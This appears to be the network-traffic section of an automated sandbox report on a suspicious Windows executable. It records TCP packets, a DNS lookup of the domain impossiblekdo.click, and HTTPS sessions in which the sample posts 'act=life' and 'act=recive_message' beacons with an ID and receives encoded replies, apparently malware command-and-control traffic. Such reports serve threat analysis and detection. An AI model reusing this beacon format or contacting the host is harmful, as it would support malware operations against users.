Jan 6, 2025 07:44:01.250073910 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.250129938 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.250164986 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.250170946 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.250431061 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.250464916 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.250471115 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.250477076 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.250509024 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.254525900 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.298259020 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.340007067 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.340104103 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.340153933 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.340166092 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.340209961 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.340249062 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.474756956 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.474786997 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.474801064 CET	49732	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.474807024 CET	443	49732	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.655806065 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.655853987 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:01.655927896 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.656250954 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:01.656264067 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.122908115 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.122963905 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.124273062 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.124285936 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.124537945 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.125699997 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.125834942 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.125868082 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.125933886 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.125941038 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.783199072 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.783328056 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.783421993 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.783484936 CET	49733	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.783505917 CET	443	49733	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.910643101 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.910680056 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:02.910866022 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.911114931 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:02.911127090 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:03.372144938 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:03.372318029 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:03.374048948 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:03.374058962 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:03.374356985 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:03.375689030 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:03.375833988 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:03.375861883 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:04.195127010 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:04.195229053 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:04.195348024 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:04.195445061 CET	49734	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:04.195461035 CET	443	49734	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:04.680521011 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:04.680563927 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:04.680661917 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:04.681039095 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:04.681050062 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:05.137093067 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:05.137175083 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:05.138484001 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:05.138493061 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:05.138725996 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:05.140064955 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:05.140268087 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:05.140305042 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:05.140360117 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:05.140367031 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:05.782627106 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:05.782744884 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:05.782952070 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:05.783086061 CET	49735	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:05.783104897 CET	443	49735	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:06.194258928 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:06.194308043 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:06.194370031 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:06.194652081 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:06.194667101 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:06.687752962 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:06.687866926 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:06.689044952 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:06.689055920 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:06.689294100 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:06.690362930 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:06.690443039 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:06.690447092 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:07.151387930 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:07.151494980 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:07.151567936 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:07.151773930 CET	49736	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:07.151793003 CET	443	49736	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:07.793554068 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:07.793608904 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:07.793689966 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:07.793979883 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:07.793993950 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.248528004 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.248651028 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.249811888 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.249824047 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.250067949 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.251303911 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.252161980 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.252197981 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.252299070 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.252334118 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.252464056 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.252484083 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.252618074 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.252638102 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.252784014 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.252804041 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.252986908 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.253006935 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.253015995 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.253180027 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.253201962 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.262191057 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.262360096 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.262382984 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.262406111 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.262423038 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.262429953 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.262439966 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.262545109 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.262581110 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.262614965 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.267067909 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:08.267168999 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:08.267182112 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.358982086 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.359091043 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.359157085 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.359236956 CET	49737	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.359255075 CET	443	49737	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.368299961 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.368350983 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.368436098 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.368709087 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.368721008 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.851986885 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.852061987 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.853255987 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.853270054 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.853509903 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:10.854568958 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.854587078 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:10.854636908 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.323781967 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.323849916 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.323883057 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.323904037 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.323926926 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.323966026 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.323967934 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.323977947 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.324024916 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.324031115 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.324373007 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.324440956 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.324445963 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.328418016 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.328459024 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.328484058 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.328490019 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.328532934 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.328536987 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.328564882 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.328598022 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.328711033 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.328725100 CET	443	49738	188.114.97.3	192.168.2.4
Jan 6, 2025 07:44:11.328754902 CET	49738	443	192.168.2.4	188.114.97.3
Jan 6, 2025 07:44:11.328759909 CET	443	49738	188.114.97.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 07:43:59.288466930 CET	65253	53	192.168.2.4	1.1.1.1
Jan 6, 2025 07:43:59.302201033 CET	53	65253	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 07:43:59.288466930 CET	192.168.2.4	1.1.1.1	0x3cce	Standard query (0)	impossiblekdo.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 07:43:59.302201033 CET	1.1.1.1	192.168.2.4	0x3cce	No error (0)	impossiblekdo.click		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:43:59.302201033 CET	1.1.1.1	192.168.2.4	0x3cce	No error (0)	impossiblekdo.click		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

impossiblekdo.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	188.114.97.3	443	6868	C:\Users\user\Desktop\un30brGAKP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:43:59 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: impossiblekdo.click
2025-01-06 06:43:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-06 06:44:00 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:44:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dfc7736bg8csduo6lq63fr5kv2; expires=Fri, 02 May 2025 00:30:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vjAn%2FiO%2FqnqOCf%2BEtqUjtdACA0EuU2T8kw0UNmZfYeDtzYRZConvVIkPu2HOMVnBUgjshdbqwjfRR9g6nhXe2BIMHGiD%2BUgGJGz9dqs0FTl70UTFLScimzMtoeLfVDEAcezjdRt7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9bcab6fcb7293-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1782&rtt_var=701&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=910&delivery_rate=1526398&cwnd=158&unsent_bytes=0&cid=1f9d99deab1840aa&ts=479&x=0"
2025-01-06 06:44:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-06 06:44:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	188.114.97.3	443	6868	C:\Users\user\Desktop\un30brGAKP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:44:00 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: impossiblekdo.click
2025-01-06 06:44:00 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 65 77 77 6a 70 6c 71 6d 6f 79 6f 75 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--ewwjplqmoyou&j=
2025-01-06 06:44:01 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:44:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oi4unfmn8lflepegjvek0prt9b; expires=Fri, 02 May 2025 00:30:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CXXkLmEgz9UlGm%2BWMR%2BEzRtMcZZRjEDR5TxJF%2F6nEXTtizGqwKpwYdH78B8Yg21Loefw%2Bo4aNcmg9DbXaLBolfp4VFuCDaxnm1sY%2FoxFx2R89asnT0ntjGeCKvsuJLm9OfKOuRZ8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9bcb139e141e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1692&min_rtt=1686&rtt_var=646&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=957&delivery_rate=1677197&cwnd=182&unsent_bytes=0&cid=07daf9db728276b1&ts=504&x=0"
2025-01-06 06:44:01 UTC	240	IN	Data Raw: 31 34 39 36 0d 0a 6b 31 6d 35 70 58 65 69 2f 58 46 45 48 4a 32 42 65 35 70 64 71 50 63 31 66 54 30 53 4a 53 34 38 41 51 34 35 79 79 6f 31 45 32 44 6f 65 38 2b 48 54 5a 62 52 55 7a 64 35 76 37 73 50 36 43 6a 4e 32 78 63 63 57 54 41 66 53 46 31 74 66 56 7a 6e 43 45 4e 2b 51 71 6b 2f 32 4d 6b 45 78 39 46 54 49 57 53 2f 75 79 44 68 66 38 32 5a 46 30 63 66 64 30 39 4d 58 57 31 73 57 4b 42 46 52 58 38 44 2b 7a 58 65 7a 52 4c 42 6d 52 41 6f 63 66 6a 6b 48 76 73 33 78 70 35 59 46 56 41 77 43 51 78 5a 65 79 77 44 36 57 64 51 5a 77 48 65 4f 4d 72 4f 56 64 2f 52 43 6d 5a 35 38 36 4e 42 75 44 7a 4e 6c 56 6b 62 57 58 6c 4e 52 6c 52 6c 62 56 32 68 57 6c 78 31 43 50 73 37 33 63 77 59 79 49 30 64 49 6e 62 7a 34 68 54 37 66 34 Data Ascii: 1496k1m5pXei/XFEHJ2Be5pdqPc1fT0SJS48AQ45yyo1E2Doe8+HTZbRUzd5v7sP6CjN2xccWTAfSF1tfVznCEN+Qqk/2MkEx9FTIWS/uyDhf82ZF0cfd09MXW1sWKBFRX8D+zXezRLBmRAocfjkHvs3xp5YFVAwCQxZeywD6WdQZwHeOMrOVd/RCmZ586NBuDzNlVkbWXlNRlRlbV2hWlx1CPs73cwYyI0dInbz4hT7f4
2025-01-06 06:44:01 UTC	1369	IN	Data Raw: 54 56 55 41 63 66 4b 41 63 66 62 47 42 39 53 72 78 46 52 33 64 43 37 6e 58 43 68 78 4c 4d 33 30 74 6d 64 76 50 74 48 50 73 77 7a 5a 52 58 44 56 42 77 52 45 52 57 5a 32 5a 55 70 6b 64 5a 65 77 58 35 4d 74 7a 49 45 73 69 5a 48 43 55 2b 73 61 4d 65 34 48 2b 53 31 58 63 50 58 48 4e 54 51 55 38 6a 63 78 57 77 43 46 42 39 51 71 6c 37 33 63 6b 55 7a 5a 38 42 4c 6e 58 30 35 67 76 7a 4e 73 65 59 56 78 4a 56 66 30 52 4d 57 57 6c 6d 56 4b 4e 4d 57 6e 77 45 38 54 75 62 69 56 58 48 68 31 4e 2b 50 74 7a 6d 43 66 38 7a 33 4e 64 74 58 30 41 2b 58 67 78 5a 62 79 77 44 36 55 42 53 63 67 48 36 4e 4e 6a 50 48 74 4b 66 41 53 42 7a 2b 76 45 66 2f 54 48 41 6c 6b 55 56 55 58 5a 45 52 56 56 71 61 56 79 74 43 42 6b 78 42 65 6c 37 67 34 63 30 7a 5a 51 66 4c 47 6e 2f 6f 77 61 32 4a Data Ascii: TVUAcfKAcfbGB9SrxFR3dC7nXChxLM30tmdvPtHPswzZRXDVBwRERWZ2ZUpkdZewX5MtzIEsiZHCU+saMe4H+S1XcPXHNTQU8jcxWwCFB9Qql73ckUzZ8BLnX05gvzNseYVxJVf0RMWWlmVKNMWnwE8TubiVXHh1N+PtzmCf8z3NdtX0A+XgxZbywD6UBScgH6NNjPHtKfASBz+vEf/THAlkUVUXZERVVqaVytCBkxBel7g4c0zZQfLGn/owa2J
2025-01-06 06:44:01 UTC	1369	IN	Data Raw: 54 56 58 5a 49 51 56 49 6a 49 68 75 75 55 42 63 70 51 74 73 34 7a 38 51 66 67 71 6f 51 4b 48 44 34 39 56 6e 6e 63 64 50 56 55 42 4d 66 4b 41 64 42 58 32 74 71 53 61 5a 46 56 48 38 4d 2f 6a 37 55 7a 78 58 41 6b 68 59 69 64 66 54 67 46 50 77 74 77 4a 56 66 47 6c 35 36 54 51 77 51 49 32 74 44 36 52 41 58 51 42 58 36 65 65 37 45 47 38 36 59 42 57 5a 68 73 66 70 5a 2f 7a 4f 4b 7a 52 63 53 56 33 56 43 51 31 39 70 59 6c 36 6a 52 46 39 2f 41 65 4d 30 33 38 63 5a 79 4a 55 65 4b 48 72 33 36 68 4c 7a 4f 63 71 55 58 56 38 52 4d 45 42 55 48 6a 73 73 62 36 35 45 57 6e 35 41 78 44 6a 56 79 52 4c 57 33 77 78 6f 5a 37 2f 6b 46 62 68 6e 69 70 6c 65 48 31 52 36 51 30 78 5a 62 6d 6c 59 72 6b 74 61 64 67 6a 2f 50 4e 2f 4c 48 4d 32 5a 45 79 46 36 2b 76 45 63 38 54 50 47 31 52 Data Ascii: TVXZIQVIjIhuuUBcpQts4z8QfgqoQKHD49VnncdPVUBMfKAdBX2tqSaZFVH8M/j7UzxXAkhYidfTgFPwtwJVfGl56TQwQI2tD6RAXQBX6ee7EG86YBWZhsfpZ/zOKzRcSV3VCQ19pYl6jRF9/AeM038cZyJUeKHr36hLzOcqUXV8RMEBUHjssb65EWn5AxDjVyRLW3wxoZ7/kFbhnipleH1R6Q0xZbmlYrktadgj/PN/LHM2ZEyF6+vEc8TPG1R
2025-01-06 06:44:01 UTC	1369	IN	Data Raw: 57 41 4a 48 49 32 74 58 36 52 41 58 65 41 76 6a 4e 64 58 4f 47 4d 61 58 46 43 68 7a 39 4f 55 53 2f 7a 6a 4d 6d 46 38 53 57 6e 4e 47 53 46 52 78 62 31 43 6a 52 56 30 78 54 4c 45 38 77 34 64 4e 67 4c 67 66 44 32 37 6b 38 51 2b 34 49 49 53 4d 46 78 68 54 4d 42 38 4d 58 57 78 6c 56 4b 46 41 57 48 34 47 2f 7a 33 64 79 68 44 50 6c 51 45 75 63 50 4c 6f 46 76 4d 74 79 70 68 54 45 31 74 34 54 45 59 65 4c 53 78 63 73 51 67 50 4d 54 66 38 4e 4e 76 45 41 34 43 41 58 54 38 2b 2b 4f 39 5a 6f 48 2f 47 6d 31 63 51 55 33 78 4d 52 46 39 76 59 6c 79 73 51 56 39 35 45 50 41 2f 30 38 59 62 7a 35 34 58 49 33 76 37 35 42 33 2b 4d 49 72 62 46 78 68 48 4d 42 38 4d 63 55 52 5a 47 59 68 79 46 32 35 4d 36 48 76 63 79 31 57 59 33 78 38 6c 63 76 66 73 48 2f 45 7a 77 4a 78 63 45 31 52 Data Ascii: WAJHI2tX6RAXeAvjNdXOGMaXFChz9OUS/zjMmF8SWnNGSFRxb1CjRV0xTLE8w4dNgLgfD27k8Q+4IISMFxhTMB8MXWxlVKFAWH4G/z3dyhDPlQEucPLoFvMtyphTE1t4TEYeLSxcsQgPMTf8NNvEA4CAXT8++O9ZoH/Gm1cQU3xMRF9vYlysQV95EPA/08Ybz54XI3v75B3+MIrbFxhHMB8McURZGYhyF25M6Hvcy1WY3x8lcvfsH/EzwJxcE1R
2025-01-06 06:44:01 UTC	931	IN	Data Raw: 6d 5a 6a 57 71 68 4f 52 58 59 4c 34 7a 58 57 79 42 33 49 6c 68 49 69 65 2f 4c 6c 46 66 49 2b 7a 5a 74 5a 46 78 38 2b 42 30 74 47 49 7a 51 62 69 46 68 4d 59 78 54 38 47 74 62 49 56 64 2f 52 43 6d 5a 35 38 36 4e 42 75 44 62 59 6b 56 6f 4e 56 6e 64 4a 51 31 31 78 62 56 61 69 57 6c 42 2b 42 76 59 33 33 63 67 54 77 5a 6f 5a 4b 6e 6e 36 36 42 62 30 66 34 54 56 55 41 63 66 4b 41 64 69 56 58 42 37 57 4b 64 44 51 57 70 43 37 6e 58 43 68 78 4c 4d 33 30 74 6d 66 66 54 6f 48 66 67 7a 79 70 46 61 48 30 31 2f 51 45 74 58 61 48 35 52 72 6b 39 63 65 51 6e 2b 50 63 6e 4c 47 39 4b 61 41 54 51 2b 73 61 4d 65 34 48 2b 53 31 57 45 59 54 32 42 45 44 6d 39 31 62 30 32 69 52 56 73 78 48 62 38 69 6d 38 41 5a 67 4d 64 54 49 48 48 32 34 42 62 35 4e 73 61 59 55 68 5a 61 63 55 46 49 Data Ascii: mZjWqhORXYL4zXWyB3IlhIie/LlFfI+zZtZFx8+B0tGIzQbiFhMYxT8GtbIVd/RCmZ586NBuDbYkVoNVndJQ11xbVaiWlB+BvY33cgTwZoZKnn66Bb0f4TVUAcfKAdiVXB7WKdDQWpC7nXChxLM30tmffToHfgzypFaH01/QEtXaH5Rrk9ceQn+PcnLG9KaATQ+saMe4H+S1WEYT2BEDm91b02iRVsxHb8im8AZgMdTIHH24Bb5NsaYUhZacUFI
